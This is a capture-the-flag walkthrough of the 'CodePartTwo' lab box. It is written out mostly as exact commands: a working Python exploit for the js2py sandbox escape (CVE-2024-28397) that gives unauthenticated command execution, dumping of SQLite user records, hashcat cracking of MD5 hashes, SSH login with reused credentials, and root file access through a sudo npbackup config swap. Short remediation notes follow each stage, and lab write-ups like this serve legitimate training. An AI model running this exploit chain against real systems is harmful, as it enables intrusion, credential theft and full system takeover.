CodePartTwo
Summary
Target codeparttwo ($TARGET) ran a Python web application served by Gunicorn on port 8000. The application exposed an unauthenticated /run_code endpoint that passed caller-supplied JavaScript to the js2py library. A known sandbox-escape flaw in js2py ≤ 0.74 (CVE-2024-28397) lets me walk Python's internal class hierarchy from within JavaScript and invoke subprocess functions, producing unauthenticated OS command execution as the app OS user (uid=1001).
From that foothold I read the application's SQLite database and extracted three users' passwords stored as raw, unsalted MD5 hashes. Cracking marco's hash offline in seconds yielded the cleartext password, which he had reused as his OS login credential; SSH access as marco produced the user flag. Inspecting sudo rights revealed that marco could run the npbackup backup utility as root without a password and could supply an arbitrary configuration file via --config-file.
By copying the legitimate config, redirecting its backup paths entry from the application directory to /root, and triggering the backup as root, I archived and then restored root.txt — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service-version fingerprint of the two discovered ports.
$ nmap -Pn -sV -p22,8000 $TARGETFetch the application home page to identify technology, links, and endpoint hints.
$ curl -si http://$TARGET:8000/Exact commands 2
Probe the endpoint with benign input; a 200 with {"result":"2"} confirms it evaluates and returns JavaScript output.
$ curl -s -X POST http://$TARGET:8000/run_code -H 'Content-Type: application/json' -d '{"code":"1+1"}'Optional broader content discovery to surface additional endpoints.
$ ffuf -u http://$TARGET:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,302,401FixRemove or isolate the unauthenticated server-side code-execution endpointCritical
Exact commands 1
Create the CVE-2024-28397 driver script then run it. Swap the argument for any OS command.
$ cat > rce.py <<EOF
import requests, json, sys
cmd = sys.argv[1] if len(sys.argv) > 1 else 'id'
code = ('let cmd=' + json.dumps(cmd) + ';'
'let g=Object.getOwnPropertyNames({}).__getattribute__;'
'let b=g("__class__").__base__;'
'let result="";'
'for(let i in b.__subclasses__()){'
' let c=b.__subclasses__()[i];'
' if(c.__name__=="catch_warnings"){'
' let bi=c()._module.__builtins__;'
' result=bi.__dict__["__import__"]("subprocess").check_output(cmd,shell=true,text=true);'
' break;}}'
'result;')
print(requests.post("http://$TARGET:8000/run_code", json={'code': code}).json())
EOF
python3 rce.py 'id'Exact commands 2
Locate the SQLite database file.
$ python3 rce.py 'find /home/app -name "*.db" 2>/dev/null'Dump all rows from the users table. Substitute the real DB path from the previous command if it differs.
$ python3 rce.py 'sqlite3 /home/app/app/users.db "SELECT * FROM users;"'Exact commands 2
Save the raw MD5 hash to a file.
$ echo "$HASH" > marco.hashMode 0 = raw MD5. Resolves to: <withheld>.
$ hashcat -m 0 marco.hash /usr/share/wordlists/rockyou.txt --forceFixReplace unsalted MD5 password hashes with a modern, slow, salted algorithmHigh
Exact commands 2
Opens an interactive shell as marco. Password: $PASSWORD
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no marco@$TARGETReads the user flag: <user.txt>.
$ cat /home/marco/user.txtFixEnforce distinct credentials for web-application and OS accounts, and prefer SSH key authenticationHigh
Exact commands 5
Verify the NOPASSWD entry: (root) NOPASSWD: /usr/bin/npbackup --config-file *.
$ sudo -lCopy the config so the original is unchanged.
$ cp /home/marco/npbackup.conf /tmp/npbackup-root.confRedirect the backup source path from the app directory to /root. Adjust indentation to match the actual YAML indentation in the file — inspect with: grep -n 'paths' /tmp/npbackup-root.conf
$ python3 -c "from pathlib import Path; p=Path('/tmp/npbackup-root.conf'); s=p.read_text(); s=s.replace('paths:\n - /home/app/app/', 'paths:\n - /root'); p.write_text(s)"Run the backup as root. Archives /root into the repository defined in the config.
$ sudo npbackup --config-file /tmp/npbackup-root.conf --backupRestore the archive as marco (repo is accessible to marco via credentials in the config). Reads the root flag: <root.txt>.
$ npbackup --config-file /tmp/npbackup-root.conf --restore --destination /tmp/restore_root && cat /tmp/restore_root/root/root.txtFixRemove the NOPASSWD sudo rule for npbackup and lock the config file path to a root-owned fileCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 8000/tcp | http Gunicorn 20.0.4 |